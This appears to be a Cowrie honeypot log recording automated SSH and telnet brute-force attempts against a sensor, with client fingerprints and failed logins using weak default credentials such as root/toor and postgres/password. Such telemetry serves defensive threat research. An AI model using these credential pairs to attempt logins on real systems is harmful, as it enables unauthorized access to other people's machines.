{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:59.569739Z","src_ip":"181.47.9.103","session":"7c705bfd466d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43006,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3c772842ffa","protocol":"telnet","message":"New connection: 152.42.224.71:43006 (10.17.0.5:23) [session: a3c772842ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:59.619193Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:04:59.714328Z","src_ip":"181.47.9.103","session":"7c705bfd466d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43012,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff00dc6cf3f9","protocol":"telnet","message":"New connection: 152.42.224.71:43012 (10.17.0.5:23) [session: ff00dc6cf3f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:00.246103Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"nvidia1","message":"login attempt [root/nvidia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:00.323015Z","src_ip":"181.47.9.103","session":"7c705bfd466d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:01.473001Z","src_ip":"181.47.9.103","session":"7c705bfd466d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":18312,"dst_ip":"10.17.0.5","dst_port":22,"session":"01703117fec7","protocol":"ssh","message":"New connection: 45.153.34.97:18312 (10.17.0.5:22) [session: 01703117fec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:01.896994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:01.916404Z","src_ip":"45.153.34.97","session":"01703117fec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:02.004424Z","src_ip":"45.153.34.97","session":"01703117fec7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:02.281841Z","src_ip":"45.153.34.97","session":"01703117fec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:03.487792Z","src_ip":"45.153.34.97","session":"01703117fec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":18318,"dst_ip":"10.17.0.5","dst_port":22,"session":"bac16ddaf289","protocol":"ssh","message":"New connection: 45.153.34.97:18318 (10.17.0.5:22) [session: bac16ddaf289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:06.078700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:06.085838Z","src_ip":"45.153.34.97","session":"bac16ddaf289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:06.183938Z","src_ip":"45.153.34.97","session":"bac16ddaf289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59512,"dst_ip":"159.203.135.109","dst_port":22,"session":"76bc15485e7a","protocol":"ssh","message":"New connection: 109.237.96.109:59512 (159.203.135.109:22) [session: 76bc15485e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:06.227280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:06.237121Z","src_ip":"109.237.96.109","session":"76bc15485e7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:06.339120Z","src_ip":"109.237.96.109","session":"76bc15485e7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazqazqaz","message":"login attempt [root/qazqazqaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:06.611996Z","src_ip":"109.237.96.109","session":"76bc15485e7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osm","password":"123456","message":"login attempt [osm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:06.904670Z","src_ip":"45.153.34.97","session":"bac16ddaf289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:07.705191Z","src_ip":"109.237.96.109","session":"76bc15485e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:07.997495Z","src_ip":"45.153.34.97","session":"bac16ddaf289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":18332,"dst_ip":"10.17.0.5","dst_port":22,"session":"e77d50692db6","protocol":"ssh","message":"New connection: 45.153.34.97:18332 (10.17.0.5:22) [session: e77d50692db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:10.074915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:10.103595Z","src_ip":"45.153.34.97","session":"e77d50692db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:10.577027Z","src_ip":"45.153.34.97","session":"e77d50692db6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flow","password":"flow","message":"login attempt [flow/flow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:10.879148Z","src_ip":"45.153.34.97","session":"e77d50692db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:11.972784Z","src_ip":"45.153.34.97","session":"e77d50692db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":59682,"dst_ip":"10.17.0.5","dst_port":22,"session":"2779449f01a0","protocol":"ssh","message":"New connection: 159.65.8.74:59682 (10.17.0.5:22) [session: 2779449f01a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:13.860817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:13.870511Z","src_ip":"159.65.8.74","session":"2779449f01a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":57078,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee6a1944ff03","protocol":"ssh","message":"New connection: 45.153.34.97:57078 (10.17.0.5:22) [session: ee6a1944ff03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:14.025701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:14.034159Z","src_ip":"45.153.34.97","session":"ee6a1944ff03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:14.109289Z","src_ip":"159.65.8.74","session":"2779449f01a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:14.126517Z","src_ip":"45.153.34.97","session":"ee6a1944ff03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:14.377775Z","src_ip":"45.153.34.97","session":"ee6a1944ff03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"conrad","message":"login attempt [root/conrad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:15.133109Z","src_ip":"159.65.8.74","session":"2779449f01a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:15.479203Z","src_ip":"45.153.34.97","session":"ee6a1944ff03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:16.436695Z","src_ip":"159.65.8.74","session":"2779449f01a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":57090,"dst_ip":"10.17.0.5","dst_port":22,"session":"153b2e2456e3","protocol":"ssh","message":"New connection: 45.153.34.97:57090 (10.17.0.5:22) [session: 153b2e2456e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:18.086675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:18.096051Z","src_ip":"45.153.34.97","session":"153b2e2456e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:18.179077Z","src_ip":"45.153.34.97","session":"153b2e2456e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"Aa123456","message":"login attempt [ai/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:18.599787Z","src_ip":"45.153.34.97","session":"153b2e2456e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:19.707251Z","src_ip":"45.153.34.97","session":"153b2e2456e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":46716,"dst_ip":"10.17.0.5","dst_port":22,"session":"891215fa87b5","protocol":"ssh","message":"New connection: 45.153.34.97:46716 (10.17.0.5:22) [session: 891215fa87b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:22.114559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:22.118891Z","src_ip":"45.153.34.97","session":"891215fa87b5","protocol":"ssh"}
